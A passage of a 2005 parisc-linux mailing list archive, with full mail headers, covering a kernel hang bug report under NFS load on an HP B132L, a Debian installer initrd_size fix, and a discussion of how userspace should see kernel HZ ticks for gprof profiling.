	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZRiQYo8SeSEkO76WZHQhaXN1IGRvb4CP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22967

I've finished the kernel testing and identified two different "hanging"
types of behavior in later 2.6.x kernels under high NFS traffic load.

The tests were universally carried out by mounting a remote NFS share on
my B132L running Debian 3.1 (stable) and inside the mount performing:
# dd if=/dev/sda of=sda-image bs=512 &

Beginning with 2.6.11-rc1-pa0, the machine will hang, however the
heartbeat does not stop and some functionality remains in the system.
The machine will respond to network ICMP pings.  No other network
services respong (ftp, ssh, etc), and the keyboard is non-responsive
(caps lock light does not work).  Additionally, the machine would not
respond to the power button.  There are no console messages when the
hang occurs, and nothing diagnostic in the logs.

The second behavior began with 2.6.12-rc1-pa1 (pa0 issued a kernel panic
during boot and could not be tested).  Kernels after this would freeze
completely including the heartbeat LED.  Most kernels tested also issued
a kernel panic to the console (the only exceptiong being 2.6.12-pa2
where the machine hang completely but there was no kernel panic).  The
machine would respond to the power button.  I assume that this is a
hardware behavior that kicks in when the heartbeat stops. Data from the
ToC or panic is as follows:

2.6.12-pa2     - hang, no heartbeat, no panic
 ToC: GR02 0x101e3910 nfs_mark_request_dirty + 0x24
      IOAQ 0x1010c1b0 intr_restore + 0x11c

2.6.12-rc3-pa3 - hang, no heartbeat, kernel panic
      GR02 alloc_skb+0x6c/0xf8
      IAOQ alloc_skb+0x9c/0xf8

**2.6.12-rc1-pa1 - hang, no heartbeat, kernel panic
      GR02 cache_grow+0xd4/0x1a8
      IAOQ alloc_slabmgmt+0x30/0x6c

The complete ToC or panic output is available for the above kernels if
needed.

The list of all kernels testes is as follows:

2.6.12-pa2     - hang, no heartbeat, no panic
2.6.12-rc3-pa3 - hang, no heartbeat, kernel panic
2.6.12-rc1-pa1 - hang, no heartbeat, kernel panic       **
2.6.12-rc1-pa0 - not tested - kernel panic during boot
2.6.11-pa4     - hang, heartbeat present, can ping
2.6.11-rc3-pa5 - hang, heartbeat present, can ping
2.6.11-rc1-pa0 - hang, heartbeat present, can ping      **
2.6.10-pa11    - Tests OK
2.6.8.1-pa11   - Tests OK

** First kernel where a hanging behavior was observed.

Tha additional diagnostic (ToC or panic output) for the applicable tests
is available from:
  http://www.excelcia.org/~kfitzner/hang_diagnostics.tar.gz

I have kept all the debian packages for the above kernels so if there is
additional testing that would be helpful, or if I have missed some data,
please let me know.

	Kurt.

--
HP 9000 B132L, 128MB RAM, Seagate ST34371W 4GB hdd on Zalon NCR53c720
(0,0,6), Panasonic CR-8005A cdrom on LASI 53c700 (1,0,3), 3COM 3c905 PCI
ethernet card, Debian Sarge 3.1 Stable
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Karthik <molecularbiophysics@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian hppa kernel panic - solved -
Date: Sun, 24 Jul 2005 10:21:56 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <a015f9a00507240121418be05b@mail.gmail.com>
References: <a015f9a00507210135b8b9071@mail.gmail.com>
	<20050721130031.GD27330@colo.lackof.org>
	<a015f9a005072211286e926d2d@mail.gmail.com>
	<a015f9a005072211305665198b@mail.gmail.com>
	<20050722184332.GA11034@roadwarrior.mcmartin.ca>
	<a015f9a005072212031e9cb7df@mail.gmail.com>
	<20050722190917.GB11034@roadwarrior.mcmartin.ca>
	<a015f9a005072401206190bc37@mail.gmail.com>
Reply-To: Karthik <molecularbiophysics@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623864 15793 80.91.229.3 (22 Nov 2014 02:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2005 08:22:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 24 Jul 2005 10:22:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AFB67D681;
	Sun, 24 Jul 2005 02:22:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01800-01; Sun, 24 Jul 2005 02:22:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65F397D65E;
	Sun, 24 Jul 2005 02:22:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 843D77D659
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 02:22:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01432-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 02:22:00 -0600 (MDT)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.201])
	by free.linux.hp.com (Postfix) with ESMTP id B575E7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 02:21:59 -0600 (MDT)
Original-Received: by nproxy.gmail.com with SMTP id i2so86380nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 01:21:56 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Pjlxl5teX5EjgOzfonbfo/hl1YRe0bWIne8Z3SOTx9unTu62vXkNNQ534yLsBY+JLUrR2UB2+TjLEj4qw9RMi5AtbMjVSyibPteP4tPNrEZ1Kyp63tecAlkN1SvD5gIc3SDCPZOIO7VIcfZ9z83wqO/cPXw3sywyC6PqsR45Zco=
Original-Received: by 10.48.143.9 with SMTP id q9mr125777nfd;
	Sun, 24 Jul 2005 01:21:56 -0700 (PDT)
Original-Received: by 10.48.250.15 with HTTP; Sun, 24 Jul 2005 01:21:56 -0700 (PDT)
In-Reply-To: <a015f9a005072401206190bc37@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4yqRYoBeeSEkTL6WZHQhaXN1IGRvb4CN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22968

So many thanks... Every thing up and running except my PS2 mouse

The soln:
http://www.debian.org/releases/stable/debian-installer/index#errata

K



> On 7/22/05, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > On Fri, Jul 22, 2005 at 09:03:40PM +0200, Karthik wrote:
> > > > You need to bump initrd_size.
> >
> > For one, you're asking on the wrong list. Since this is a Debian
> > problem.
> >
> > Second, get to the PALO prompt (answering yes to interact with the IPL,
> > or boot pri ipl) and add initrd_size=3D32768 to the path by choosing a
> > number available and adding that to the line which will create
> > a new entry.
> >
> > --
> > Kyle McMartin
> >
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 13:01:35 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20050726170109.GQ30182@systemhalted.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
	<42E647E8.3000505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623864 15799 80.91.229.3 (22 Nov 2014 02:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:44 +0000 (UTC)
Cc: Tres Melton <tres@mindspring.com>,
 parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 17:02:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 26 Jul 2005 19:02:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 503B87D712;
	Tue, 26 Jul 2005 11:02:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25445-04; Tue, 26 Jul 2005 11:02:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2CBA7D717;
	Tue, 26 Jul 2005 11:02:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 712907D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:02:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25350-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:02:10 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DEAA67D701
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:02:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DxSoB-0002WQ-00; Tue, 26 Jul 2005 13:01:35 -0400
Content-Disposition: inline
In-Reply-To: <42E647E8.3000505@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (9% Sync Ratio [=.........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zgmUYos0eSEkQr6WZHQhaXN1IGRvb8Av
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22969

On Tue, Jul 26, 2005 at 10:25:44PM +0800, Randolph Chung wrote:
> >User space should not "know" what HZ the kernel is using.  Instead, all
> >interfaces should be properly reported in terms of whatever HZ userspace
> >used to assume (100 on i386, other values on other platforms).  I don't
> >know what interface gprof is using, but it needs to be fixed.
> 
> I thought gprof uses a SIGPROF timer using the setitimer interface. Why 
> is it HZ dependent?

Even though you get a signal you have to calculate the elapsed time.
The profiling codes prefers "times" to "getrusage" to "clock."

Unfortunately to interpret "times" information you need to multiply by
ticks_to_msec.

IMO any interface exporting/using ticks is broken. Accurate time can 
be provided through other interfaces. Userspace should never see ticks,
only converted time.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 18:09:49 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20050726170949.GB2221@parcelfarce.linux.theplanet.co.uk>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
	<42E647E8.3000505@tausq.org>
	<20050726170109.GQ30182@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623864 15801 80.91.229.3 (22 Nov 2014 02:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:44 +0000 (UTC)
Cc: Tres Melton <tres@mindspring.com>,
 parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 17:07:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 26 Jul 2005 19:07:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6108D7D762;
	Tue, 26 Jul 2005 11:07:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25753-01; Tue, 26 Jul 2005 11:07:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D15CB7D741;
	Tue, 26 Jul 2005 11:07:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E34247D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:07:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25445-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:07:32 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 490267D712
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:07:32 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DxSw9-0005RP-EI; Tue, 26 Jul 2005 18:09:49 +0100
Content-Disposition: inline
In-Reply-To: <20050726170109.GQ30182@systemhalted.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tgiUYrVXeSEkXb6WZHQhaXN1IGRvb8C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22970

On Tue, Jul 26, 2005 at 01:01:35PM -0400, Carlos O'Donell wrote:
> On Tue, Jul 26, 2005 at 10:25:44PM +0800, Randolph Chung wrote:
> > >User space should not "know" what HZ the kernel is using.  Instead, all
> > >interfaces should be properly reported in terms of whatever HZ userspace
> > >used to assume (100 on i386, other values on other platforms).  I don't
> > >know what interface gprof is using, but it needs to be fixed.
> > 
> > I thought gprof uses a SIGPROF timer using the setitimer interface. Why 
> > is it HZ dependent?
> 
> Even though you get a signal you have to calculate the elapsed time.
> The profiling codes prefers "times" to "getrusage" to "clock."
> 
> Unfortunately to interpret "times" information you need to multiply by
> ticks_to_msec.
> 
> IMO any interface exporting/using ticks is broken. Accurate time can 
> be provided through other interfaces. Userspace should never see ticks,
> only converted time.

userspace should see converted ticks.  ie divide by 10 if CONFIG_HZ is 1000
since PA userspace expects to see 100Hz.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 13:16:27 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20050726171625.GA9703@systemhalted.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623865 15809 80.91.229.3 (22 Nov 2014 02:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:45 +0000 (UTC)
Cc: Tres Melton <tres@mindspring.com>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 17:17:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 26 Jul 2005 19:17:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37F007D741;
	Tue, 26 Jul 2005 11:16:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25753-08; Tue, 26 Jul 2005 11:16:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FE527D762;
	Tue, 26 Jul 2005 11:16:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DA717D741
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:16:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25662-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:16:43 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id E803B7D712
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 11:16:42 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DxT2Z-0002mh-00; Tue, 26 Jul 2005 13:16:27 -0400
Content-Disposition: inline
In-Reply-To: <20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eRWUYv8TeSEkbb6WZHQhaXN1IGRvb0CI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22971

On Tue, Jul 26, 2005 at 03:18:37PM +0100, Matthew Wilcox wrote:
> On Tue, Jul 26, 2005 at 07:37:16AM -0600, Tres Melton wrote:
> > I'm advocating a way for user space to *know* what the kernel is
> > running.  It is this thinking crap that is messing things up.
> 
> User space should not "know" what HZ the kernel is using.  Instead, all
> interfaces should be properly reported in terms of whatever HZ userspace
> used to assume (100 on i386, other values on other platforms).  I don't
> know what interface gprof is using, but it needs to be fixed.
> 
> Otherwise we stand no chance of going to a dynamic HZ in the future.

Or better yet a precise time interface with feedback about the accuracy
of the returned time.

For example, while cr16 on parisc is a very precise measurement of insn
execution speed, it varies too much to be used for a stable and accurate
global clock.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 14:08:53 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20050726180851.GB9703@systemhalted.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
